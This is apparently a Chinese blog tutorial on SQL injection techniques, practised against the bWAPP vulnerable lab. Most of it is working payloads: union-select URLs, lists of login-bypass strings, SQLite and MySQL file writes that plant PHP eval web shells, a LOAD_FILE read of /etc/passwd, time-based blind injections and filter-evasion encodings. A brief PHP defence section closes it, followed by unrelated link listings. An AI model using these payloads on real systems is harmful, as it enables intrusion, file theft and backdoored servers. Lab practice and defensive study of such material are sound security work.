背景

模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧。并研究下PHP的防御代码。

普通的bWAPPSQL注入的简单介绍

从get型search到CAPTCHA

简单级

#search

http://192.168.195.195/bWAPP/sqli_1.php?title=c%%27union%20select%201,2,3,version(),database(),6,%27&action=search

#select类

http://192.168.195.195/bWAPP/sqli_2.php?movie=-1%20union%20select%201,2,3,version(),database(),6,7

Login类--万能密码

#密码一栏填写

a' or '1'='1

#同理,账号一栏也可以随意,万能密码常用paylaod,列表

#asp与aspx

"or "a"="a

'.).or.('.a.'='.a

or 1=1--

'or 1=1--

a'or' 1=1--

"or 1=1--

'or.'a.'='a

"or"="a'='a

'or''='

'or'='or'

admin'or 1=1#

#PHP万能密码

'or 1=1/*

"or "a"="a

"or 1=1--

"or"="

"or"="a'='a

"or1=1--

"or=or"

''or'='or'

') or ('a'='a

'.).or.('.a.'='.a

'or 1=1

'or 1=1--

'or 1=1/*

'or"="a'='a

'or' '1'='1'

'or''='

'or''=''or''='

'or'='1'

'or'='or'

'or.'a.'='a

'or1=1--

1'or'1'='1

a'or' 1=1--

a'or'1=1--

or 'a'='a'

or 1=1--

or1=1--

#jsp 万能密码

1'or'1'='1

admin' or 1=1/*

sqlite注入

语句稍有不同,但也没什么区别

#注释符号用/**/

http://192.168.195.195/bWAPP/sqli_11.php?title=c%%27%20union%20select%201,2,%27sql%20injection%27,sqlite_version(),5,6/*&action=search

#可以写文件拿shell

#payload

select * from test where id =1 ;ATTACH DATABASE 'C:\\Sqlite\\xiaozi.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> '); --

#数据包

POST /bWAPP/sqli_12.php HTTP/1.1

Host: 192.168.195.195

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://192.168.195.195/bWAPP/sqli_12.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 209

Connection: close

Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668

Upgrade-Insecure-Requests: 1

entry=4',sqlite_version());ATTACH DATABASE '/var/www/bWAPP/1.php' AS pwn113 ; CREATE TABLE pwn113.exp (dataz text) ; INSERT INTO pwn113.exp (dataz) VALUES ('<?php @eval($_POST["cdjj"]);?>');-- ' &entry_add=add

类似的还有MySQL写文件获取的shell

# <?php @eval($_POST["cdjj"]);?>

select 0x3c3f70687020406576616c28245f504f53545b2263646a6a225d293b3f3e into outfile '/xxx/shell.php'

插入注入

在sqlite写文件那个中需要插入注入或者非query注入才行,因为一个是PHP执行的exec函数,一个是执行的query函数,后者只运行select语句。Insert语句注入没有什么特殊的,本质是拼接insert语句而不是拼接select语句,注入的东西插入数据,在页面上回显出来可以看到。

POST /bWAPP/sqli_7.php HTTP/1.1

Host: 192.168.195.195

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://192.168.195.195/bWAPP/sqli_7.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 94

Connection: close

Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668

Upgrade-Insecure-Requests: 1

entry=1',(select/**/if(substring(@@version,1,1)=5,LOAD_FILE('/etc/passwd'),'NO'))); #&blog=add

LOAD_FILE('/etc/passwd') #MySQL读文件

有些HTTP Header头字段也可以注入

盲注

#布尔型,这里可以用 > < between做二分判断,between也可以用来绕过< >过滤

IF(substring(database(),1,1)=b,'YES','NO')

#时间型

' and if(1=0,1, sleep(10)) --+

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

#postgresql

pg_sleep(5)

编码和绕过

大小写绕过关键字检测

select->sELeCt

加分隔符绕过

select->sEL/**/eCt

空格转分隔符绕过或者括号绕过

union select->union/**/select

where 1=1->where(1=1)

URL转码

#->%23

十六进制编码绕过引号过滤(hex)

'users'->0x7573657273

char编码绕过(ascii)

Test->CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

宽字节和双重编码

%xx%xx->(%xx%xx)%xx->括号中成为宽字节

双重编码%2527->第一次解码成为%27(因为%25URL解码就是%)->二次解码%27->'(单引号)

防御

函数防御

最好的选择:mysql_real_escape_string()

一般的选择:addslashes()

配置防御:

配置php.ini magic_quotes_gpc=On

PDO和预编译

先执行mysql连接对象的prepare函数准备sql语句的雏形,然后执行bind_param函数填充用户输入的数据。

使用PDO,先prepare,然后使用bindValue函数,与前者类似。

pdo mysql ascii_跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧相关推荐

  1. web漏洞开始,sql注入

    第十一天,web漏洞必懂知识点 这个图里面,右边的漏洞比左边的漏洞相对重要,因为在实战过程中,左边所产生的漏洞就比较少,我们学习网络安全呢就要做到他们的这些原理和危害. 比如sql注入漏洞是网站数据库 ...

  2. Web安全篇之SQL注入攻击

    在网上找了一篇关于sql注入的解释文章,还有很多技术,走马观花吧 文章来源:http://www.2cto.com/article/201310/250877.html ps:直接copy,格式有点问 ...

  3. Web安全篇之SQL注入攻击(1)

    文章来源 0day concept <web安全之SQL注入篇>课程简单介绍: SQL注入篇一共分为三讲: 第一讲:"纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入 ...

  4. web基础漏洞之SQL注入漏洞

    先看菜鸟教程中HTTP的知识,HTTP是为了保证客户端与服务器之间的通信.HTTP的请求方法有两种:GET和POST.GET是从服务器上获得数据,POST是向服务器传递数据. Web 程序三层架构: ...

  5. web 漏洞入门之 —— SQL 注入教程

    SQL 注入是最常见.最被人们熟知的 web 漏洞.根据百科的解释:所谓SQL注入,就是通过把SQL命令,插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. ...

  6. 【转】基于SQL的Web系统安全防范——SQL注入漏洞

    攻击研究及防范措施 SQL-Based Web System Security--Structured Query Language InjectionLeak Attack Study And De ...

  7. mysql%3e= %3c=某个时间_乐视网某站SQL注入3枚

    乐视网某站sql注入一枚 http://ad.hz.letv.com/CJO/php/Save_ad_wph_cmt.php?remark=wph&name=1&text=%3Cinp ...

  8. Web安全渗透学习-SQL注入

    SQL注入攻击 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令 ...

  9. 如何测试WEB应用程序防止SQL注入***

    摘要: 在WEB应用程序的软件测试中,安全测试是非常重要的一部分,但常常容易被忽视掉.在安全测试中,防止SQL注入***尤其重要.本文介绍了SQL注入***产生的后果以及如何进行测试. 关键字:安全测 ...

最新文章

  1. 关于Python多线程的理解
  2. 八、linux以模块方式注册设备
  3. 分类器评价与在R中的实现:收益图与提升图
  4. 实现程序间的数据传递
  5. 【LINUX学习】链接文件
  6. 穿背心的老院士,86岁,重病,还在敲代码,单手!
  7. node.js 学习书籍推荐
  8. 招聘senior.net software engineer
  9. 下载论文的技巧及经验
  10. destoon 中国银联在线支付接口修改
  11. 图计算的黄金时代 知识图谱背后的数据价值
  12. 办公室远程 办公室远程,我看这四款行
  13. 2014最佳开源教程
  14. 数据结构——栈的基本操作
  15. Liunx系统格式化磁盘和挂载备份盘
  16. Angular self study 4 - data entered by end user
  17. 黑马程序员_日记9_Java学习感言
  18. Error while executing topic command : replication factor: 3 larger than available brokers: 0
  19. 去掉office2003盗版五角星的办法(组图)
  20. 预测房价--基于python的线性回归模型

热门文章

  1. 最近,4000余名工程师,集体重学数学!竟都只用这一招,快来!
  2. 开启中国区块链创造季! 2019区块链开发者大会来袭!(首批重磅嘉宾曝光)
  3. 程序员爬取 3 万条评论,《长安十二时辰》槽点大揭秘!
  4. 比 Java 更具争议的 PHP,处处留坑?
  5. 开源的全面胜利背后,那些被遗忘的人性问题
  6. 我为什么要用 Javascript 编写 CSS?
  7. 亚马逊被爆内部员工卖数据改差评,中国区尤为严重!
  8. 腾讯 WeGame 被迫下架《怪物猎人:世界》究竟该怪谁?| 畅言
  9. 腾讯网易已称王,今日头条有什么勇气来做游戏?
  10. 苹果为 macOS 重大漏洞道歉;迅雷内讧股价暴跌;小米百度在一起 | 一周业界事